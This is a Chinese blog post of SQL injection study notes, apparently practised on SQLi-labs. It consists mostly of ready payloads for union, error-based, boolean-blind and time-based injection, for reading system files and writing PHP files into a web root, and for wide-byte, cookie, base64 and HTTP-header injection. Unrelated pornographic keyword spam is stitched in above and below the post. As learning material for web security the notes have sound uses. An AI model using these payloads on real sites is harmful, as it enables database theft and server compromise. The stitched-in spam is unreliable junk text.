<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      SQL注入學習(二)

      SQL注入點判斷

      ?id=35   +1/-1  查看頁面是否發(fā)生變化

      select * from tbName where id=$id

      1、?id=35'數(shù)字后面加上【' or '' or )】來判斷是字符型,還是數(shù)字型,如果有報錯、有回顯的話,用報錯注入

        select * from tbName where id=35'

           near ''' at line 1 數(shù)字型
           near ''2'' LIMIT 0,1' at line 1 字符型

      2、?id=35 and 1=1 // ?id=35 and 1=2 判斷是否存在布爾類型的狀態(tài) (網(wǎng)頁發(fā)生變化了就存在),考慮布爾注入

      3、?id=35 and sleep(5) 判斷是否有延時(在瀏覽器的網(wǎng)絡中查看時間線),考慮延時注入

      聯(lián)合查詢(實現(xiàn)跨庫跨表查詢)

      判斷字段個數(shù)

         可以使用[order by] 語句來判斷當前select 語句所查詢的虛擬表的列數(shù)。 [order by]語句本意是按照某一列進行排序,在mysql 中可以使用數(shù)字來代替具體的列名,比如[order by 1]就是按照第一列進行排序,如果mysql 沒有找到對應的列,就會報錯[Unknown column]。我們可以依次增加數(shù)字,直到數(shù)據(jù)庫報錯,以此來確定我們虛擬表的列數(shù)。 [order by 1 --+] [order by 2 --+]

      判斷顯示位置

         得到字段個數(shù)之后,可以嘗試構造聯(lián)合查詢語句。

      1、 這里我們并不知道表名,根據(jù)mysql 數(shù)據(jù)庫特性,select 語句在執(zhí)行的過程中,并不需要指定表名。

      [?id=33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+]

      [?id=33 union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null--+]

      2、頁面顯示的是第一張?zhí)摂M表的內(nèi)容,那么我們可以考慮讓第一張?zhí)摂M表的查詢條件為假,則顯示第二條記錄。因此構造SQL 語句:

      [?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+]

      [?id=-33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+]

      在執(zhí)行SQL 語句的時候,可以考慮用火狐瀏覽器的插件hackbar。

      result:發(fā)現(xiàn)某些數(shù)字會回顯到頁面中來。比如現(xiàn)在回顯的是3,11

      3、輸入一些常用函數(shù)來測試 數(shù)據(jù)庫版本 我們可以將數(shù)字3 用函數(shù)[version()]代替,即可得到數(shù)據(jù)庫的版本。

      [?id=33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15 --+]

      當前數(shù)據(jù)庫名

      [?id=33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,database(),12,13,14,15 --+]

      報錯注入

      在注入點的判斷過程中,發(fā)現(xiàn)數(shù)據(jù)庫中SQL 語句的報錯信息,會顯示在頁面中,因此可以進行報錯注入。

      報錯注入的原理,就是在錯誤信息中執(zhí)行SQL 語句。觸發(fā)報錯的方式很多,具體細節(jié)也不盡相同。此處建議直接背公式即可。

      @group by (分類聚合)重復鍵沖突【隨機能出現(xiàn)查詢結果】

      [?id=33 and (select 1 from (select count(),concat((select version() from information_schema.tables limit 0,1),floor(rand()2))x from information_schema.tables group by x)a) --+]

      [?id=33 union select 1,2,concat(left(rand(),3),'^',(select version()),'^')a,count(),5,6,7,8,9,10,11, 12, 13,14,15 from information_schema.tables group by a --+]

      [?id=33 and (select 1 from (select count(),concat('^',(select version() from information_schema.tables limit 0,1),'^',floor(rand()*2))x from information_schema.tables group by x)a) --+]

      @XPATH 報錯(低版本不支持xpath報錯) ?

        extractalue()

      ? [?id=33 and extractvalue(1,concat('^',(select version()),'^')) --+] ?

        updatexml() ?

      [?id=33 and updatexml(1,concat('^',(select database()),'^'),1) --+]

      布爾盲注

      原理:利用頁面返回的布爾類型狀態(tài),正常或者不正常。

      1、獲取數(shù)據(jù)庫名 數(shù)據(jù)庫名長度

      [?id=33 and length(database())=1 --+]

      ...(建議用二分法大致判斷位置)

      [?id=33 and length(database())=3 --+]

      數(shù)據(jù)庫名 [?id=33 and ascii(substr(database(),1,1))=99 --+]

       2、賬密同理

      延時注入

      原理:利用sleep() 語句的延時性,以時間線作為判斷條件。

      1、獲取數(shù)據(jù)庫名

         獲取數(shù)據(jù)庫名長度

      [?id=33 and if((length(database())=3),sleep(5),1)--+]

         數(shù)據(jù)庫名第二位

      [?id=33 and if((ascii(substr(database(),2,1))=109),sleep(5),1)--+]

      。。。。。。

      其它注入

        讀寫文件

        前提條件:我們也可以利用SQL 注入漏洞讀寫文件。但是讀寫文件需要一定的條件

      1、secure-file-priv (可以在phpmyadmin 中看到該變量) 該參數(shù)在高版本的mysql 數(shù)據(jù)庫中限制了文件的導入導出操作。改參數(shù)可以寫在my.ini 配置文件中[mysqld] 下。若要配置此參數(shù),需要修改my.ini 配置文件,并重啟mysql 服務。

        關于該參數(shù)值的相關說明

            secure-file-priv= 不對mysqld的導入導出操作做限制

            secure-file-priv='c:/a/' 限制mysqld 的導入導出操作發(fā)生在c:/a/ 下(子目錄有效)

            secure-file-priv=null 限制mysqld 不允許導入導出操作

      2、當前用戶具有文件權限

      [select File_priv from mysql.user where user="root" and host="localhost"]查詢語句(判斷當前用戶是否具有權限) ?

      3、知道要寫入目標文件的絕對路徑

      ? C:\\Windows\\System32\\drivers\etc\hosts 【雙右斜線】(因為\是轉義字符,所以要加多一個\) ?

      C:/Windows/System32/drivers/etc/hostsa 【單左斜線】

      讀取文件操作

      【?id=-1' union select 1, load_file('C:\Windows\System32\drivers\etc\hosts'), 3 --+ ]】

             load_file('') 讀取文件函數(shù)

      寫入文件操作

      【?id=-33 union select 1, 2,3,4,5,6,7,8,9,10,11,12,13,14,15 into outfile 'E:\phpstudy\www\1.php';】

      【?id=-33 union select 1, 2,3,4,5,6,7,8,9,10,'<?php phpinfo();?>',12,13,14,15 into outfile 'E:\phpstudy\www\2.php';】

             into outfile ‘xxxxx\xxxx\’ 寫入文件

      寬字節(jié)注入

        寬字節(jié)注入準確來說不是注入手法,而是另外一種比較特殊的情況。為了說明寬字節(jié)注入問題,我們以SQLi-labs 32 關為例子。

      使用[?id=1']進行測試的時候,發(fā)現(xiàn)提交的單引號會被轉移[']。此時,轉義后的單引號不再是字符串的標識,會被作為普通字符帶入數(shù)據(jù)庫查詢。也就是說,我們提交的單引號不會影響到原來SQL 語句的結構。 ?

      我們通過閱讀32 關的源碼,發(fā)現(xiàn)幾句非常意思的代碼,如下: ? 此網(wǎng)頁在連接數(shù)據(jù)庫時,會將字符編碼設置為GBK 編碼集合,然后進行SQL 語句拼接,最后進行數(shù)據(jù)庫查詢。 ?

      GBK編碼依然采用雙字節(jié)編碼方案,其編碼范圍:8140-FEFE,剔除xx7F碼位,共23940個碼位。共收錄漢字和圖形符號21886個,其中漢字(包括部首和構件)21003個,圖形符號883個。GBK編碼支持國際標準ISO/IEC10646-1和國家標準GB13000-1中的全部中日韓漢字,并包含了BIG5編碼中的所有漢字。GBK編碼方案于1995年12月15日正式發(fā)布,這一版的GBK規(guī)范為1.0版。 ?

      轉移字符\ 的編碼是5c,正好在GBK 編碼范圍之內(nèi),也就是說我們可以在單引號之前提交一個十六進制編碼的字符,與5c 組成一個GBK 編碼的漢字。這樣SQL 語句傳入數(shù)據(jù)庫的時候,轉移字符5c ,會被看作GBK 漢字的低位字節(jié)編碼,從而失去轉義的作用。 ?

      如果我們提交這樣的參數(shù)[?id=1000%df' union select 1,2,3 --+],就可以使用聯(lián)合查詢進行注入了。【0xdf5c 就是一個漢字"運"】

      Cookie注入 ?

      Cookie 注入的注入?yún)?shù)需要通過Cookie 提交,可以通過[document.cookie] 在控制臺完成對瀏覽器Cookie 的讀寫。

      ? 我們使用SQLi-labs 第20 關來說明Cookie 注入問題。來到less-20,在控制臺輸入

      ? [document.cookie="uname=Dumb' and extractvalue(1,concat(0x7e,database(),0x7e))#"] ? (用BP抓包,報錯注入來實現(xiàn)也可以)

      base64 注入 ?

      我們以SQLI-labs 第22關來說明base64 注入的問題。 ?

      base64 注入也是比較簡單的,只不過將注入字段經(jīng)過base64 編碼。經(jīng)過測試,發(fā)現(xiàn)22 關屬于Cookie 型的base64 注入。

      我們可以使用報錯注入手法,payload ? [document.cookie="uname=Dumb" and extractvalue(1,concat(0x7e,database(),0x7e))#"] ?

      在控制臺輸入 [document.cookie="uname=RHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSkpIw=="]

      HTTP 頭部注入 ?

      http 頭部注入就是指注入字段在HTTP 頭部的字段中,這些字段通常有User-Agent、Referer 等。 ?

      @User-Agent 注入 ? 如SQLi-labs 第18 關。

      ? payload ? [User-Agent:hacker' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1] ?

      @Referer 注入 ? 第19 關,注入字段在Referer 中 ?

      [hacker' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1]

       

       

      如果有錯誤的地方,就在下面留言給我,我看到后會及時更正的啦~謝謝各位

      posted @ 2019-10-20 17:10  沖田總司cc  閱讀(356)  評論(0)    收藏  舉報
      主站蜘蛛池模板: 精品视频福利| 国产在线视频不卡一区二区| 免费播放一区二区三区| 广宁县| 国产一区国产二区在线视频| 大地资源中文第二页日本| 日韩欧美一中文字暮专区| 国产精品制服丝袜无码| 少妇高潮水多太爽了动态图| 天干天干天啪啪夜爽爽99| 麻豆精品一区二区三区蜜臀| 日韩中文字幕人妻精品| 欧洲人妻丰满av无码久久不卡| 日本道之久夂综合久久爱| 艳妇乳肉豪妇荡乳av| 真实国产乱啪福利露脸| 亚洲精品一区二区美女| 中文字幕乱妇无码AV在线| 亚洲国产午夜精品福利| 四虎库影成人在线播放| 欧美综合区自拍亚洲综合绿色| 亚洲色一色噜一噜噜噜| 庄浪县| 日韩 一区二区在线观看| 十八禁午夜福利免费网站| 满洲里市| 一区二区三区av天堂| 鲁鲁网亚洲站内射污| 国产成人人综合亚洲欧美丁香花| AV教师一区高清| 日本真人添下面视频免费| mm1313亚洲国产精品| 日韩人妖精品一区二区av| 99热门精品一区二区三区无码| 欧美xxxxhd高清| 国产精品人成在线观看免费| 国产不卡一区在线视频| 精品日韩亚洲av无码| 久久99国产一区二区三区| 中文字幕日本一区二区在线观看| 色综合久久久久综合体桃花网|